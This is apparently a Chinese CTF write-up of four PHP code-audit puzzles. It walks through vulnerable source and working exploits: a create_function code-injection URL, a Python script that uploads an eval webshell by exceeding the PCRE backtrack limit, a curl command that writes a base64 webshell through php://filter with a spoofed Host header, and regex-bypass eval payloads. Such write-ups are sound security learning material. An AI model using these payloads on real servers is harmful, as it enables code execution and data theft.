之前看到ph师傅代码审计星球的广告,看了第一道题就觉得蛮有意思的,于是就入了一波2333,简单记录一下自己能做的或是找到wp学习的题目..顺手推广一下..
链接:https://code-breaking.com/puzzle/1/ 
easy - function 
源码 
1 2 3 4 5 6 7 8 9 <?php $action  = $_GET ['action' ] ?? '' ;$arg  = $_GET ['arg' ] ?? '' ;if (preg_match ('/^[a-z0-9_]*$/isD' , $action )) {    show_source (__FILE__ ); } else  {     $action ('' , $arg ); } 
 
思路 
首先看到动态调用的action做了正则限制,所以想办法绕正则,一开始想通过范围解释操作符来绕
1 比如SimpleXMLElement::xpath 
 
但是找了很久,发现很多东西都用不起来,因为很难找到第一个参数为空的有用的东西.没办法再去找了找资料
然后发现可以通过命名空间来绕过前面的限制,比如var_dump表示全局命名空间
 
但是又有什么函数可以第一个参数为空呢?
想到hitcon出现过的create_function利用多线程暴破匿名函数
显然create_function是可以用的  
弃用无所谓,后面发现还是可以用的
create_function可能存在的问题也很明显,就是代码注入,比如  
从而可以任意代码执行,但是又碰到问题了
1 2 3 disable functions system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,putenv,apache_setenv,mb_send_mail,dl,set_time_limit,ignore_user_abort,symlink,link,error_log 
 
想到flag肯定是文件形式,那么用scandir就好,在上一级目录发现flag
 
用file_get_contents获取flag,最终payload
1 http://51.158.75.42:8087/?action=create_function&arg=echo%20%22123%22;}var_dump(file_get_contents(%27../flag_h0w2execute_arb1trary_c0de%27));/* 
 
拿到返回
1 2 3 4 Deprecated: Function create_function () is deprecated in /var /www/html/index.php on line 8  Warning: Unterminated comment starting line 1  in /var /www/html/index.php (8 ) : runtime-created function  on  line  1 string (38  ) "flag  {03 fdc0ee2fc464aac3c40ef0e20dcb5a}" 
 
easy - pcrewaf 
源码 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php function  is_php ($data  ) {    return  preg_match ('/<?.*[(`;?>].*/is' , $data ); } if (empty ($_FILES )) {    die (show_source (__FILE__ )); } $user_dir  = 'data/'  . md5 ($_SERVER ['REMOTE_ADDR' ]);$data  = file_get_contents ($_FILES ['file' ]['tmp_name' ]);if  (is_php ($data )) {    echo  "bad request" ; } else  {     @mkdir ($user_dir , 0755 );     $path  = $user_dir  . '/'  . random_int (0 , 10 ) . '.php' ;     move_uploaded_file ($_FILES ['file' ]['tmp_name' ], $path );     header ("Location: $path " , true , 303 ); }  
 
思路 
一开始头铁,觉得能过这个正则.. 也确实可以,在php7以下可用
1 <script language="php" >phpinfo ();</script> 
 
具体可以去看php的源码 php7之前的最高版本5.6.39 https://github.com/php/php-src/blob/PHP-5.6.39/Zend/zend_language_scanner.l 
 
而一到php7就没这种解析了  
而目标环境就是php7,到这里我就已经不会了... 后来看的wp https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html 
说到底就是PHP的pcre.backtrack_limit限制利用,当回溯次数超过限制的时候,正则表达式会返回false,而不是0或1
那么就可以利用这个点来进行攻击,poc的话前面的链接也有
1 2 3 4 5 6 7 8 9 import  requestsfrom  io import  BytesIOfiles = {   'file' : BytesIO(b'aaa<?php eval($_POST[txt]);//'  + b'a'  * 1000000 ) } res = requests.post('http://51.158.75.42:8088/index.php' , files=files, allow_redirects=False ) print (res.headers)
 
想要避免这个问题,在使用的时候用===来判断而不是==或直接判断
easy - phpmagic 
源码 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 <?php if (isset ($_GET ['read-source' ])) {    exit (show_source (__FILE__ )); } define ('DATA_DIR' , dirname (__FILE__ ) . '/data/'  . md5 ($_SERVER ['REMOTE_ADDR' ]));if (!is_dir (DATA_DIR)) {    mkdir (DATA_DIR, 0755 , true ); } chdir (DATA_DIR);$domain  = isset ($_POST ['domain' ]) ? $_POST ['domain' ] : '' ;$log_name  = isset ($_POST ['log' ]) ? $_POST ['log' ] : date ('-Y-m-d' );?> <!doctype html> <html lang="en" > <head>     <!-- Required meta tags -->     <meta charset="utf-8" >     <meta name="viewport"  content="width=device-width, initial-scale=1, shrink-to-fit=no" >     <!-- Bootstrap CSS -->     <link rel="stylesheet"  href="https://cdn.jsdelivr.net/npm/bootstrap@4.1.3/dist/css/bootstrap.min.css"  integrity="sha256-eSi1q2PG6J7g7ib17yAaWMcrr5GrtohYChqibrV7PBE="  crossorigin="anonymous" >     <title>Domain Detail</title>     <style>     pre {         width: 100 %;         background-color:          border-radius: 3 px;         font-size: 85 %;         line-height: 1.45 ;         overflow: auto;         padding: 16 px;         border: 1 px solid      }     </style> </head> <body> <div class ="container ">     <div  class ="row ">         <div  class ="col ">             <form  method ="post ">                 <div  class ="input -group  mt -3">                     <div  class ="input -group -prepend ">                         <span  class ="input -group -text " id ="basic -addon1 ">dig  -t  A  -q </span >                     </div >                     <input  type ="text " name ="domain " class ="form -control " placeholder ="Your  domain ">                     <div  class ="input -group -append ">                         <button  class ="btn  btn -outline -secondary " type ="submit ">执行</button >                     </div >                 </div >             </form >         </div >     </div >     <div  class ="row ">         <div  class ="col ">             <pre  class ="mt -3"><?php  if (!empty ($_POST ) && $domain ):                 $command  = sprintf ("dig  -t  A  -q  %s ", escapeshellarg ($domain ));                 $output  = shell_exec ($command );                 $output  = htmlspecialchars ($output , ENT_HTML401   ENT_QUOTES );                 $log_name  = $_SERVER ['SERVER_NAME '] . $log_name ;                 if (!in_array (pathinfo ($log_name , PATHINFO_EXTENSION ), ['php ', 'php3 ', 'php4 ', 'php5 ', 'phtml ', 'pht '], true ))  {                    file_put_contents ($log_name , $output );                 }                 echo  $output ;             endif ; ?> </pre>         </div>     </div> </div> </body> </html>  
 
思路 
简单审计一下,发现可以把dig的结果存到一个文件,那么就可以利用这一点来写shell,后面进行了一个简单的判断,然后用file_put_contents来写文件,简单测试一下
 
那么写文件就不成问题了,那么问题是怎么写shell呢?
尖括号都会被转义掉,这里本来考虑到了伪协议的问题,不过卡在了$_SERVER['SERVER_NAME']的绕过
后来看到  
还是不太明白,看看英文版
'SERVER_NAME' The name of the server host under which the current
script is executing. If the script is running on a virtual host, this
will be the value defined for that virtual host. Note: Under Apache 2,
you must set UseCanonicalName = On and ServerName. Otherwise, this value
reflects the hostname supplied by the client, which can be spoofed. It
is not safe to rely on this value in security-dependent contexts.
 
发现可以由hostname伪造,试试看改host   那么
1 file_put_contents ($log_name , $output );
 
这个log_name就是可控的,从而可以通过伪协议写shell
用伪协议的时候将domain给base一下,然后控制log_name来解base,从而还原shell
注意base的时候pad到字符是4的倍数,我这里多试了几次
1 curl -X POST -d 'domain=PD9waHAKZXZhbCgkX0dFVFsnYmxhY3NoZWVwJ10pOwo/Pg&log=://filter/write=convert.base64-decode/resource=blacsheep3.php/.'  -H "Host: php"  'http://51.158.75.42:8082/'  
 
然后拿到shell 
easy - phplimit 
源码 
1 2 3 4 5 6 <?php if (';'  === preg_replace ('/[^W]+((?R)?)/' , '' , $_GET ['code' ])) {        eval ($_GET ['code' ]); } else  {     show_source (__FILE__ ); } 
 
分析 
2018rctf的r-cursive的一部分 参考:https://xz.aliyun.com/t/2347 
看到他们之前的payload 尝试getallheaders但是失败了,又看到
1 2 3 ?cmd=print(readdir(opendir(getcwd()))); 可以列目录 ?cmd=print(readfile(readdir(opendir(getcwd())))); 读文件 ?cmd=print(dirname(dirname(getcwd()))); print出/var/www 
 
稍作修改,获得下面的payload http://51.158.75.42:8084/?code=print_r%28readfile%28array_rand%28array_flip%28scandir%28dirname%28chdir%28dirname%28getcwd%28%29%29%29%29%29%29%29%29%29%3B 
因为设计到array_rand,所以只是可能拿到flag...
多刷几次就好,主要还是通过dirname获取目录来进行返回 后来看了一波wp..
两种方法
get_defined_vars 
 
所以直接用就好  
注意把a(命令参数)放在前面,方便执行的时候先执行然后加注释,不然执行不了命令,比如scandir()就会爆内存
然后拿到flag 
另一种绕过 
code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
用的array_reverse()和next()绕过的